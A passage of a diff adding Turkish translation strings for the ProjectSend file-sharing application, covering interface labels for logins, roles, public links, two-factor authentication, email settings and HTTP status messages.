further action is required.": "Bir parola sıfırlama talebinde bulunmadıysanız, başka bir işlem yapmanıza gerek yoktur.", + "If you received this, your email configuration is working.": "Bu iletiyi aldıysanız, e-posta yapılandırmanız çalışıyor demektir.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "\":actionText\" butonuna tıklamakta sorun yaşıyorsanız, aşağıdaki bağlantıyı kopyalayıp\ntarayıcınıza yapıştırın:", + "IM Used": "IM Kullanıldı", + "Image": "Resim", + "Impersonate": "Kimliğine bürün", + "Impersonation": "Kimliğe bürünme", + "Import": "İçe aktarmak", + "Import :name": "İthalat :name", + "Import orphan files": "Sahipsiz dosyaları içe aktar", + "Import selected": "Seçilenleri içe aktar", + "Imported the orphan file \":subject\"": "Sahipsiz \":subject\" dosyasını içe aktardı", + "Inactive": "Etkin değil", + "Include this file when a group it's shared with is public.": "Paylaşıldığı bir grup herkese açık olduğunda bu dosyayı da dahil et.", + "Insert": "Ekle", + "Installed ProjectSend": "ProjectSend'i kurdu", + "Insufficient Storage": "Yetersiz depolama", + "Internal Server Error": "İç Sunucu Hatası", + "Introduction": "giriiş", + "Invalid filename.": "Geçersiz dosya adı.", + "Invalid JSON was returned from the route.": "Yoldan geçersiz JSON döndürüldü.", + "Invalid SSL Certificate": "Geçersiz SSL Sertifikası", + "Label": "Etiket", + "Last modified": "Son değişiklik", + "Latest files": "En yeni dosyalar", + "Leave": "Ayrıl", + "Leave empty for a link that never expires.": "Hiç sona ermeyen bir bağlantı için boş bırakın.", + "Leave empty for unlimited downloads.": "Sınırsız indirme için boş bırakın.", + "Leave group": "Gruptan ayrıl", + "Leave this group?": "Bu gruptan ayrılmak istiyor musunuz?", + "Left the group \":subject\"": "\":subject\" grubundan ayrıldı", + "length": "uzunluk", + "Length Required": "Uzunluk Gerekli", + "Library": "Kitaplık", + "Light": "Açık", + "Like": "Beğenmek", + "Limit download counts": "İndirme sayısını sınırlama", + "Limit to assigned clients": "Atanmış müşterilerle sınırla", + "Limits for files uploaded to this installation": "Bu kuruluma yüklenen dosyalar için sınırlar", + "Link unavailable": "Bağlantı kullanılamıyor", + "Load": "Yük", + "Loading…": "Yükleniyor…", + "Local storage": "Yerel depolama", + "Localize": "Yerelleştir", + "Location": "Konum", + "Locked": "Kilitli", + "Log in": "Giriş yap", + "Log In": "Giriş Yap", + "Log in to your account": "Hesabınıza giriş yapın", + "Log out": "Çıkış yap", + "Log Out": "Çıkış Yap", + "Logged in": "Giriş yaptı", + "Logged out": "Çıkış yaptı", + "Login": "Giriş Yap", + "Logout": "Çıkış Yap", + "Loop Detected": "Döngü Tespit Edildi", + "Mail provider settings saved.": "E-posta sağlayıcı ayarları kaydedildi.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Bakım Modu", + "Manage custom fields": "Özel alanları yönetme", + "Manage public links from the edit page.": "Herkese açık bağlantıları düzenleme sayfasından yönetin.", + "Manage system users and roles": "Sistem kullanıcılarını ve rolleri yönetme", + "Manage updates": "Güncellemeleri yönetme", + "Manage your profile and account settings": "Profilinizi ve hesap ayarlarınızı yönetin", + "Mark all read": "Tümünü okundu işaretle", + "Mark as read": "Okundu işaretle", + "Mark as unread": "Okunmadı işaretle", + "Max downloads": "En fazla indirme", + "Maximum file size (MB)": "En büyük dosya boyutu (MB)", + "Member": "Üye", + "Members": "Üyeler", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Bu roldekiler yalnızca kendilerine atanmış müşterilerin dosya ve klasörlerini, bir de kendi yükledikleri dosyaları görür.", + "Membership request approved.": "Üyelik başvurusu onaylandı.", + "Membership request denied.": "Üyelik başvurusu reddedildi.", + "Membership requests": "Üyelik başvuruları", + "Membership requests are reviewed by an administrator": "Üyelik başvurularını bir yönetici inceler", + "Method Not Allowed": "İzin Verilmeyen Yöntem", + "Minutes until the reset link expires": "Sıfırlama bağlantısının sona ermesine kalan dakika", + "Misdirected Request": "Yanlış Yönlendirilmiş İstek", + "Modified": "Değiştirildi", + "Moved Permanently": "Kalıcı Olarak Taşındı", + "Moved the folder \":subject\"": "\":subject\" klasörünü taşıdı", + "Multi-line text": "Çok satırlı metin", + "Multi-Status": "Çoklu Durum", + "Multiple Choices": "Çoklu Seçimler", + "Multiple files/folders shared at once (digest)": "Tek seferde paylaşılan birden fazla dosya/klasör (özet)", + "My files": "Dosyalarım", + "My groups": "Gruplarım", + "Name": "Ad", + "Name or description": "Ad veya açıklama", + "Name or email address": "Ad veya e-posta adresi", + "Never": "Asla", + "Never expires": "Hiç sona ermez", + "Network Authentication Required": "Ağ Kimlik Doğrulaması Gerekli", + "Network Connect Timeout Error": "Ağ Bağlantısı Zaman Aşımı Hatası", + "Network Read Timeout Error": "Ağ Okuma Zaman Aşımı Hatası", + "New": "Yeni", + "New :name": "Yeni :name", + "New category": "Yeni kategori", + "New client": "Yeni müşteri", + "New client registrations and client uploads are sent here — at least one address is required.": "Yeni müşteri kayıtları ve müşterilerin yüklemeleri buraya gelir — en az bir adres gerekir.", + "New field": "Yeni alan", + "New folder": "Yeni klasör", + "New group": "Yeni grup", + "New membership request from :client for the group \":group\".": ":client kişisinden \":group\" grubu için yeni üyelik başvurusu.", + "New password (leave blank to keep current)": "Yeni parola (mevcut parolayı korumak için boş bırakın)", + "New role": "Yeni rol", + "New user": "Yeni kullanıcı", + "News": "Haberler", + "Next": "İleri", + "No": "Hayır", + "No activity matches these filters.": "Bu filtrelere uyan etkinlik yok.", + "No activity recorded yet.": "Henüz hiç etkinlik kaydedilmedi.", + "No categories match your search.": "Aramanıza uyan kategori yok.", + "No categories yet.": "Henüz kategori yok.", + "No clients match these filters.": "Bu filtrelere uyan müşteri yok.", + "No clients yet.": "Henüz müşteri yok.", + "No comments match these filters.": "Bu filtrelere uyan yorum yok.", + "No Content": "İçerik Yok", + "No custom fields yet.": "Henüz özel alan yok.", + "No downloads recorded yet.": "Henüz hiç indirme kaydedilmedi.", + "No fields match your search.": "Aramanıza uyan alan yok.", + "No files have been shared with you yet.": "Sizinle henüz hiç dosya paylaşılmadı.", + "No files here yet.": "Burada henüz dosya yok.", + "No files or folders match your search.": "Aramanıza uyan dosya veya klasör yok.", + "No files yet. Upload the first one.": "Henüz dosya yok. İlkini yükleyin.", + "No folder": "Klasör yok", + "No groups match these filters.": "Bu filtrelere uyan grup yok.", + "No groups yet.": "Henüz grup yok.", + "No members yet.": "Henüz üye yok.", + "No more categories": "Başka kategori yok", + "No more clients to add": "Eklenecek başka müşteri yok", + "No news yet.": "Henüz haber yok.", + "No orphan files found.": "Sahipsiz dosya bulunamadı.", + "No orphan files match your search.": "Aramanıza uyan sahipsiz dosya yok.", + "No pending requests.": "Bekleyen başvuru yok.", + "No public links yet.": "Henüz herkese açık bağlantı yok.", + "No recipients added yet.": "Henüz alıcı eklenmedi.", + "No requests match your search.": "Aramanıza uyan başvuru yok.", + "No roles match this filter.": "Bu filtreye uyan rol yok.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Boyut sınırı yok. Yüklemeler duraklatılabilir ve kesintiden sonra kendiliğinden devam eder.", + "No users match these filters.": "Bu filtrelere uyan kullanıcı yok.", + "No users yet.": "Henüz kullanıcı yok.", + "Nobody (optional for everyone)": "Hiç kimse (herkes için isteğe bağlı)", + "Non-Authoritative Information": "Yetkili Olmayan Bilgiler", + "None": "Yok", + "None of the selected items could be found.": "Seçilen öğelerin hiçbiri bulunamadı.", + "Not Acceptable": "Kabul Edilemez", + "Not Extended": "Genişletilmemiş", + "Not Found": "Bulunamadı", + "Not Implemented": "Uygulanmadı", + "Not Modified": "Değiştirilmedi", + "Not shared with anyone yet.": "Henüz kimseyle paylaşılmadı.", + "Notification settings": "Bildirim ayarları", + "Notifications": "Bildirimler", + "Nothing is publicly shared yet.": "Henüz herkese açık paylaşılan bir şey yok.", + "of": "-den", + "OK": "Tamam", + "One option per line": "Her satıra bir seçenek", + "Only clients can be group members.": "Grup üyesi yalnızca müşteriler olabilir.", + "Only clients can comment here.": "Burada yalnızca müşteriler yorum yapabilir.", + "Only for anonymous downloads": "Yalnızca anonim indirmelerde", + "Only people who are signed in can comment here.": "Burada yalnızca giriş yapmış kişiler yorum yapabilir.", + "Only staff can comment here.": "Burada yalnızca ekip yorum yapabilir.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Yalnızca aşağıdaki metin düzenlenebilir — bu e-postadaki düğme ve bağlantılar değişmez.", + "Open": "Açık", + "Open folder": "Klasörü aç", + "Open in a current window": "Geçerli pencerede aç", + "Open in a new window": "Yeni bir pencerede aç", + "Open in a parent frame": "Bir üst çerçevede aç", + "Open in the topmost frame": "En üst çerçevede aç", + "Open on the website": "Web sitesinde aç", + "Open public listing": "Herkese açık listeyi aç", + "Options": "Seçenekler", + "Or enter this key manually:": "Ya da bu anahtarı elle girin:", + "Orange": "Turuncu", + "Origin Is Unreachable": "Kökeni Ulaşılamaz", + "Outgoing email": "Giden e-posta", + "Outgoing email theme": "Giden e-posta teması", + "Page :current of :last": "Sayfa :current / :last", + "Page Expired": "Sayfa zaman aşımına uğradı", + "Pagination Navigation": "Sayfalandırma Çubuğu", + "Partial Content": "Kısmi İçerik", + "Password": "Parola", + "Password reset": "Parola sıfırlama", + "Path": "Yol", + "Payload Too Large": "Veri Çok Büyük", + "Payment Required": "ödeme gerekli", + "Pending approval": "Onay bekliyor", + "Permanent Redirect": "Kalıcı Yönlendirme", + "Permanently erased a deleted account": "Silinmiş bir hesabı kalıcı olarak sildi", + "Permissions": "İzinler", + "Pink": "Pembe", + "Platform": "Platform", + "Please click the button below to verify your email address.": "E-posta adresinizi doğrulamak için lütfen aşağıdaki butona tıklayın.", + "Port": "Bağlantı noktası", + "Postmark": "Postmark", + "Powered by ProjectSend": "ProjectSend ile çalışır", + "Precondition Failed": "Ön Koşul Başarısız", + "Precondition Required": "Ön Koşul Gerekli", + "Preparing your download…": "İndirmeniz hazırlanıyor…", + "Preview": "Önizle", + "Preview: :theme": "Önizleme: :theme", + "Previous": "Geri", + "Price": "Fiyat", + "Privacy": "Gizlilik", + "Privacy settings": "Gizlilik ayarları", + "Private": "Özel", + "Processing": "İşleniyor", + "Profile": "Profil", + "Profile information was updated": "Profil bilgileri güncellendi", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion mevcut (sizde :currentVersion var)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend, dosyaları müşterilerinize göndermeniz için özgür ve açık kaynaklı bir yazılımdır. :license altında yayımlanır; yani onu özgürce kullanabilir, inceleyebilir, değiştirebilir ve paylaşabilirsiniz.", + "ProjectSend is ready": "ProjectSend hazır", + "ProjectSend was installed": "ProjectSend kuruldu", + "Provider": "Sağlayıcı", + "Proxy Authentication Required": "Proxy Kimlik Doğrulaması Gerekli", + "Public": "Herkese açık", + "Public file": "Herkese açık dosya", + "Public files": "Herkese açık dosyalar", + "Public group": "Herkese açık grup", + "Public group listing": "Herkese açık grup listesi", + "Public groups": "Herkese açık gruplar", + "Public link": "Herkese açık bağlantı", + "Public link created.": "Herkese açık bağlantı oluşturuldu.", + "Public link revoked.": "Herkese açık bağlantı iptal edildi.", + "Public links": "Herkese açık bağlantılar", + "Public listing": "Herkese açık liste", + "Public listing settings": "Herkese açık liste ayarları", + "Public listing URL": "Herkese açık liste adresi", + "Public pages & portal": "Herkese açık sayfalar ve portal", + "Public pages and client portal theme": "Herkese açık sayfaların ve müşteri portalının teması", + "Published": "Yayımlandı", + "Purple": "Mor", + "Quota": "Kota", + "Railgun Error": "Railgun Hatası", + "Range Not Satisfiable": "Aralık Yetersiz", + "Read more": "Devamını oku", + "Reassign them to": "Şuraya devret", + "Recent activity": "Son etkinlikler", + "Recipient": "Alıcı", + "Record": "Kayıt", + "Record IP addresses for downloads": "İndirmelerde IP adreslerini kaydet", + "Recovery code": "Kurtarma kodu", + "Red": "Kırmızı", + "Regards,": "En iyi dileklerle,", + "Regenerate recovery codes": "Kurtarma kodlarını yeniden oluştur", + "Regenerate recovery codes?": "Kurtarma kodları yeniden oluşturulsun mu?", + "Regenerated two-factor recovery codes": "İki adımlı doğrulama kurtarma kodlarını yeniden oluşturdu", + "Register": "Kayıt Ol", + "Register to access the files shared with you.": "Sizinle paylaşılan dosyalara erişmek için kaydolun.", + "Register to request access. An administrator will review your request.": "Erişim istemek için kaydolun. Bir yönetici başvurunuzu inceleyecek.", + "Registered a new client account": "Yeni bir müşteri hesabı oluşturdu", + "Related": "İlgili", + "Remember me": "Beni hatırla", + "Remove": "Kaldır", + "Removed \":member\" from the group \":subject\"": "\":member\" kişisini \":subject\" grubundan çıkardı", + "Removed the file \":subject\" from :target": "\":subject\" dosyasını :target hedefinden kaldırdı", + "Rename": "Yeniden adlandır", + "Renamed the folder \":subject\"": "\":subject\" klasörünü yeniden adlandırdı", + "Repository": "Depo", + "Request declined": "Başvuru reddedildi", + "Request Header Fields Too Large": "İstek Başlık Alanları Çok Büyük", + "Request membership": "Üyelik iste", + "Request membership to groups (optional)": "Gruplara üyelik iste (isteğe bağlı)", + "Request Timeout": "İstek zaman aşımına uğradı", + "Requested": "İstendi", + "Requested membership to the group \":subject\"": "\":subject\" grubuna üyelik istedi", + "Requested memberships wait in the membership requests queue for approval.": "İstenen üyelikler, üyelik başvuruları sırasında onay bekler.", + "Require two-factor authentication": "İki adımlı doğrulamayı zorunlu kıl", + "Required": "Zorunlu", + "Reset Content": "İçeriği Sıfırla", + "Reset Password": "Parolayı Sıfırla", + "Reset Password Notification": "Parola Sıfırlama Bildirimi", + "Reset this email to its default wording?": "Bu e-posta varsayılan metnine döndürülsün mü?", + "Reset to default": "Varsayılana döndür", + "Restore": "Onar", + "Restore :name": ":name'u geri yükle", + "Restricted extension": "Kısıtlı uzantı", + "Result": "Sonuç", + "results": "sonuçlar", + "Review membership requests": "Üyelik başvurularını inceleme", + "Review pending requests": "Bekleyen başvuruları incele", + "Retry With": "İle Yeniden Dene", + "Revoke": "İptal et", + "Revoke link": "Bağlantıyı iptal et", + "Revoke this public link?": "Bu herkese açık bağlantı iptal edilsin mi?", + "Revoked a public link for the file \":subject\"": "\":subject\" dosyasının herkese açık bağlantısını iptal etti", + "Role": "Rol", + "Role created.": "Rol oluşturuldu.", + "Role deleted.": "Rol silindi.", + "Role name": "Rol adı", + "Role updated.": "Rol güncellendi.", + "Roles": "Roller", + "Sample email": "Örnek e-posta", + "Save": "Kaydet", + "Save :name": ":name'u kaydet", + "Save & Close": "Kaydet kapat", + "Save & Return": "Kaydet ve Geri Dön", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Bunu yayına almak için değişikliklerinizi kaydedin — o ana kadar bu düğmeler henüz yayımlanmamış bir sayfaya gider.", + "Saved": "Kaydedildi", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Bu QR kodunu kimlik doğrulama uygulamanızla tarayın, ardından onaylamak için altı haneli kodu girin.", + "Scanning:": "Taranıyor:", + "Scheduled tasks": "Zamanlanmış görevler", + "Search": "Ara", + "Search :name": "Ara :name", + "Search all files and folders": "Tüm dosya ve klasörlerde ara", + "Search by client or group": "Müşteri veya gruba göre ara", + "Search by name": "Ada göre ara", + "Search by name or email address": "Ad veya e-posta adresine göre ara", + "Search by path": "Yola göre ara", + "Search categories": "Kategorilerde ara", + "Search fields": "Alanlarda ara", + "Search your files": "Dosyalarınızda ara", + "Security": "Güvenlik", + "Security settings": "Güvenlik ayarları", + "See Other": "Diğerlerini Gör", + "Select": "Seç", + "Select :name": ":name öğesini seç", + "Select a client or group": "Bir müşteri veya grup seçin", + "Select a client to add": "Eklenecek müşteriyi seçin", + "Select a role": "Bir rol seçin", + "Select All": "Hepsini seç", + "Select an option": "Bir seçenek seçin", + "Select at least one file or folder.": "En az bir dosya veya klasör seçin.", + "Self-registered clients join this group automatically.": "Kendi kaydolan müşteriler bu gruba kendiliğinden katılır.", + "Send": "Göndermek", + "Send email notifications": "E-posta bildirimleri gönder", + "Send test email": "Deneme e-postası gönder", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Kuyruğu atlayarak hemen gerçek bir e-posta gönderir; böylece yukarıdaki ayarların gerçekten çalıştığını doğrulayabilirsiniz.", + "Separate paragraphs with a blank line.": "Paragrafları boş bir satırla ayırın.", + "Server Error": "Sunucu Hatası", + "Service Unavailable": "Hizmet Kullanılamıyor", + "Session Has Expired": "Oturum süresi doldu", + "Set file expiration dates": "Dosya son kullanma tarihi belirleme", + "Set to 0 for no limit. Available disk space still applies.": "Sınır olmaması için 0 girin. Kullanılabilir disk alanı yine de geçerlidir.", + "Set to 0 to allow requesting again immediately.": "Hemen yeniden başvuruya izin vermek için 0 girin.", + "Set up ProjectSend": "ProjectSend'i kur", + "Settings": "Ayarlar", + "Settings that apply to the whole installation": "Kurulumun tamamı için geçerli ayarlar", + "Setup complete": "Kurulum tamamlandı", + "Share a file with the people who manage your account.": "Hesabınızı yöneten kişilerle bir dosya paylaşın.", + "Share files with several clients at once": "Dosyaları tek seferde birden fazla müşteriyle paylaşın", + "Shared the folder \":subject\" with :target": "\":subject\" klasörünü :target ile paylaştı", + "Shared with": "Paylaşıldığı kişiler", + "Shared with :count": ":count kişiyle paylaşıldı", + "Sharing": "Paylaşım", + "Sharing a folder shares everything inside it, now and later": "Bir klasörü paylaşmak, içindeki her şeyi şimdi ve sonrasında paylaşır", + "Show": "Göstermek", + "Show :name": ":name'u göster", + "Show All": "Hepsini Göster ↓", + "Showing": "Gösteri", + "Showing matches from across your library": "Kitaplığınızın tamamından gelen sonuçlar", + "Showing matches from everything shared with you": "Sizinle paylaşılan her şeyden gelen sonuçlar", + "Shown across the application and to your clients.": "Uygulamanın her yerinde ve müşterilerinize gösterilir.", + "Shows a registration form on the login screen.": "Giriş ekranında bir kayıt formu gösterir.", + "Sign In": "Kayıt olmak", + "Sign up": "Kaydol", + "Site name": "Site adı", + "Size": "Boyut", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "İndiren, giriş yapmış bir hesapsa IP adresini atla — kimliği zaten biliniyor.", + "SMTP configuration": "SMTP yapılandırması", + "Source code": "Kaynak kodu", + "Special public links": "Özel herkese açık bağlantılar", + "Solve": "Çözmek", + "Something went wrong. Please try again.": "Bir şeyler ters gitti. Lütfen yeniden deneyin.", + "SSL": "SSL", + "SSL Handshake Failed": "SSL El Sıkışma Başarısız", + "Staff": "Ekip", + "Start": "Başlangıç", + "Status": "Durum", + "Stop": "Durmak", + "Stopped sharing the folder \":subject\" with :target": "\":subject\" klasörünü :target ile paylaşmayı bıraktı", + "Storage": "Depolama", + "Storage free": "Boş alan", + "Storage quota (MB)": "Depolama kotası (MB)", + "Storage used": "Kullanılan alan", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Bu kurtarma kodlarını güvenli bir yerde saklayın. Kimlik doğrulama uygulamanıza erişiminizi kaybederseniz her biri bir kez kullanılabilir.", + "Subfolders": "Alt klasörler", + "Subject": "Konu", + "Submit": "Göndermek", + "Subscribe": "Abone Ol", + "Success: test email sent to :email via :hostport.": "Başarılı: deneme e-postası :hostport üzerinden :email adresine gönderildi.", + "Support the project": "Projeye destek olun", + "Switch": "Anahtar", + "Switch To Role": "Role Geç", + "Switching Protocols": "Protokoller Değiştiriliyor", + "System": "Sistem", + "System Administrator": "Sistem yöneticisi", + "System settings": "Sistem ayarları", + "System settings were updated": "Sistem ayarları güncellendi", + "System users": "Sistem kullanıcıları", + "Tag": "Etiket", + "Tags": "Etiketler", + "Temporary Redirect": "Geçici Yönlendirme", + "Test": "Deneme", + "Text": "Metin", + "Text or author": "Metin veya yazar", + "The account of :name will be permanently deleted. This cannot be undone.": ":name kişisinin hesabı kalıcı olarak silinecek. Bu işlem geri alınamaz.", + "The account password was changed": "Hesap parolası değiştirildi", + "The account request of :name will be denied and the account deleted.": ":name kişisinin hesap başvurusu reddedilecek ve hesap silinecek.", + "The administrator account was created successfully.": "Yönetici hesabı başarıyla oluşturuldu.", + "The administrator role always has every permission and cannot be edited.": "Yönetici rolü her zaman tüm izinlere sahiptir ve düzenlenemez.", + "The base URL segment for public group pages, e.g. :url": "Herkese açık grup sayfalarının temel adres bölümü, örn. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "\":name\" kategorisi, ait olduğu tüm dosyalardan kaldırılacak. Dosyaların kendisi silinmez.", + "The client's email address": "Müşterinin e-posta adresi", + "The client's name": "Müşterinin adı", + "The clients this group shares files with": "Bu grubun dosya paylaştığı müşteriler", + "The field \":name\" and all its stored values will be permanently deleted.": "\":name\" alanı ve içinde saklanan tüm değerler kalıcı olarak silinecek.", + "The file \":file\" was uploaded by :client.": "\":file\" dosyasını :client yükledi.", + "The file \":name\" has been shared with you.": "\":name\" dosyası sizinle paylaşıldı.", + "The file \":name\" will no longer be available to anyone it was shared with.": "\":name\" dosyası, paylaşıldığı hiç kimse için artık erişilebilir olmayacak.", + "The file name": "Dosya adı", + "The file or folder name": "Dosyanın veya klasörün adı", + "The file will be permanently removed from disk. This cannot be undone.": "Dosya diskten kalıcı olarak kaldırılacak. Bu işlem geri alınamaz.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Herkese açık bir grubun dosyalarına, bağlantıya sahip herkes giriş yapmadan göz atabilir.", + "The files shared with you": "Sizinle paylaşılan dosyalar", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "\":name\" klasörü ve içindeki her şey silinecek. Bir yönetici bunu geri alabilir.", + "The following :count items have been shared with you:": "Aşağıdaki :count öğe sizinle paylaşıldı:", + "The folder \":name\" has been shared with you.": "\":name\" klasörü sizinle paylaşıldı.", + "The given data was invalid.": "Verilen veriler geçersizdi.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "\":name\" grubu silinecek. Müşterileri hesaplarını korur.", + "The group name": "Grubun adı", + "The groups you belong to and the ones you can ask to join": "Üyesi olduğunuz gruplar ve katılmayı isteyebileceğiniz gruplar", + "The header/footer style used for every outgoing notification email.": "Giden her bildirim e-postasında kullanılan üst ve alt bilgi biçimi.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "Ziyaretçilere açık sayfaların, müşteri portalının ve giden bildirim e-postalarının görünümü.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Posta sunucusunun kendisi burada değil, bu kurulumun .env dosyasında (MAIL_* değişkenleri) yapılandırılır.", + "The people who administer this installation and upload files": "Bu kurulumu yöneten ve dosya yükleyen kişiler", + "The people you share files with": "Dosya paylaştığınız kişiler", + "The provided two-factor authentication code was invalid.": "Girilen iki adımlı doğrulama kodu geçersizdi.", + "The release this installation is running, and where it comes from.": "Bu kurulumun çalıştırdığı sürüm ve nereden geldiği.", + "The response is not a streamed response.": "Yanıt akışlı bir yanıt değil.", + "The response is not a view.": "Yanıt bir görünüm değildir.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "\":name\" rolü kalıcı olarak silinecek. Bu işlem geri alınamaz.", + "The selected folders are empty.": "Seçilen klasörler boş.", + "The uploading client's name": "Yükleyen müşterinin adı", + "Their account is waiting for approval.": "Bu hesap onay bekliyor.", + "There is nothing to configure yet.": "Henüz yapılandırılacak bir şey yok.", + "Test email from :site": ":site sitesinden deneme e-postası", + "These files will be permanently removed from disk. This cannot be undone.": "Bu dosyalar diskten kalıcı olarak kaldırılacak. Bu işlem geri alınamaz.", + "Theme": "Tema", + "Theme updated.": "Tema güncellendi.", + "Theming": "Temalar", + "Theming settings": "Tema ayarları", + "This action is unauthorized.": "Bu işlem izinsizdir.", + "This file exceeds the maximum allowed size of :max MB.": "Bu dosya, izin verilen en büyük boyut olan :max MB'yi aşıyor.", + "This folder is empty.": "Bu klasör boş.", + "This installation has no administrator yet. Create the first one to get started.": "Bu kurulumun henüz yöneticisi yok. Başlamak için ilkini oluşturun.", + "This is a built-in role; its scope can't be changed.": "Bu yerleşik bir roldür; kapsamı değiştirilemez.", + "This is a preview of the :theme email theme.": "Bu, :theme e-posta temasının bir önizlemesidir.", + "This is a sample email — no notification was actually sent.": "Bu bir örnek e-postadır — gerçekte hiçbir bildirim gönderilmedi.", + "This is a test email from :site.": "Bu, :site sitesinden gelen bir deneme e-postasıdır.", + "This is the last active administrator account.": "Bu, kalan son etkin yönetici hesabıdır.", + "This link cannot match the file's own public URL slug.": "Bu bağlantı, dosyanın kendi herkese açık adres kısaltmasıyla aynı olamaz.", + "This link doesn't exist or has been revoked.": "Bu bağlantı yok ya da iptal edilmiş.", + "This link has expired.": "Bu bağlantının süresi dolmuş.", + "This link has reached its download limit.": "Bu bağlantı indirme sınırına ulaştı.", + "This password reset link will expire in :count minutes.": "Bu parola sıfırlama bağlantısının geçerliliği :count dakika sonra sona erecek.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Bu, listedeki tüm başarısız işleri hiçbirini yeniden denemeden kalıcı olarak siler. Geri alınamaz.", + "This role is assigned to accounts and cannot be deleted.": "Bu rol hesaplara atanmış durumda ve silinemez.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Bu rol yalnızca bu müşterilerin dosya ve klasörlerini, bir de kendi yüklediklerini görür.", + "This upload would exceed your storage quota of :quota MB.": "Bu yükleme, :quota MB'lik depolama kotanızı aşardı.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "İpucu: dosya ve klasörleri taşımak için bir klasörün ya da yol izinin üzerine sürükleyin.", + "Title": "Başlık", + "Title (optional)": "Başlık (isteğe bağlı)", + "TLS": "TLS", + "to": "a", + "To": "Kime", + "Toggle navigation": "Menüyü Aç/Kapat", + "Too Early": "Çok erken", + "Too many files selected. Choose a smaller selection and try again.": "Çok fazla dosya seçildi. Daha az dosya seçip yeniden deneyin.", + "Too Many Requests": "Çok Fazla İstek", + "Transactional email settings for this installation": "Bu kurulumun işlem e-postası ayarları", + "Transfers — last 30 days": "Aktarımlar — son 30 gün", + "Translate": "Çevirmek", + "Translate It": "Çevir", + "Turns all transactional email for this installation on or off.": "Bu kurulumun tüm işlem e-postalarını açar veya kapatır.", + "Two-factor auth": "İki adımlı doğrulama", + "Two-factor authentication": "İki adımlı doğrulama", + "Two-factor authentication is enabled.": "İki adımlı doğrulama etkin.", + "Two-factor authentication was disabled": "İki adımlı doğrulama kapatıldı", + "Two-factor authentication was enabled": "İki adımlı doğrulama etkinleştirildi", + "Two-factor recovery codes were regenerated": "İki adımlı doğrulama kurtarma kodları yeniden oluşturuldu", + "Type": "Tür", + "Unauthorized": "İzinsiz", + "Unavailable For Legal Reasons": "Yasal Sebepler Nedeniyle Kullanılamıyor", + "Unchanged": "Değişmedi", + "Unknown Error": "Bilinmeyen Hata", + "Unlimited": "Sınırsız", + "Unpack": "Paketi aç", + "Unprocessable Entity": "İşlenemeyen Varlık", + "Unsubscribe": "Abonelikten çık", + "Unsupported Media Type": "Desteklenmeyen Medya Türü", + "Up": "Yukarı", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Dosya başına en fazla :max MB. Yüklemeler duraklatılabilir ve kesintiden sonra kendiliğinden devam eder.", + "Update": "Güncelle", + "Update :name": "Güncelleme :name", + "Updated the account \":subject\"": "\":subject\" hesabını güncelledi", + "Updated the file \":subject\"": "\":subject\" dosyasını güncelledi", + "Updated the group \":subject\"": "\":subject\" grubunu güncelledi", + "Updated the role \":subject\"": "\":subject\" rolünü güncelledi", + "Updated the system settings (:section)": "Sistem ayarlarını güncelledi (:section)", + "Updated their profile information": "Profil bilgilerini güncelledi", + "Upgrade Required": "Yükseltme Gerekli", + "Upload": "Yükle", + "Upload a file": "Dosya yükle", + "Upload files": "Dosya yükleme", + "Upload public files": "Herkese açık dosya yükleme", + "Upload settings": "Yükleme ayarları", + "Upload to public folders": "Herkese açık klasörlere yükleme", + "Uploaded by": "Yükleyen", + "Uploaded the file \":subject\"": "\":subject\" dosyasını yükledi", + "Uploader": "Yükleyen", + "Uploads": "Yüklemeler", + "Uploads (chart)": "Yüklemeler (grafik)", + "URI Too Long": "URI Çok Uzun", + "URL slug": "Adres kısaltması", + "Use a custom link instead of a random one": "Rastgele bağlantı yerine özel bir bağlantı kullan", + "Use a recovery code": "Kurtarma kodu kullan", + "Use an authentication code": "Doğrulama kodu kullan", + "Use Proxy": "Proxy Kullan", + "Use the navigation to get started.": "Başlamak için gezinme menüsünü kullanın.", + "Used": "Kullanılan", + "Used in the public file URL when this file is public.": "Bu dosya herkese açık olduğunda, dosyanın herkese açık adresinde kullanılır.", + "Used in the public group URL when this group is public.": "Bu grup herkese açık olduğunda, grubun herkese açık adresinde kullanılır.", + "User": "Kullanıcı", + "User created.": "Kullanıcı oluşturuldu.", + "User deleted.": "Kullanıcı silindi.", + "User updated.": "Kullanıcı güncellendi.", + "Users": "Kullanıcılar", + "Username": "Kullanıcı adı", + "Variant Also Negotiates": "Varyant Ayrıca Müzakere Ediyor", + "Verify Email Address": "E-posta Adresini Doğrula", + "Version": "Sürüm", + "Version :version": "Sürüm :version", + "View": "Görüntüle", + "View :name": ":name'u görüntüle", + "View all": "Tümünü göster", + "View dashboard counters": "Panel sayaçlarını görüntüleme", + "View file": "Dosyayı görüntüle", + "View news": "Haberleri görüntüleme", + "View statistics": "İstatistikleri görüntüleme", + "View system information": "Sistem bilgilerini görüntüleme", + "Visible widgets": "Görünür bileşenler", + "View the activity log": "Etkinlik kaydını görüntüleme", + "View your files": "Kendi dosyalarını görüntüleme", + "Visibility": "Görünürlük", + "Visitors": "Ziyaretçiler", + "Warning": "Uyarı", + "Web Server is Down": "Web Sunucusu Çalışmıyor", + "Website": "Web sitesi", + "Welcome": "Hoş geldiniz", + "Welcome to ProjectSend": "ProjectSend'e hoş 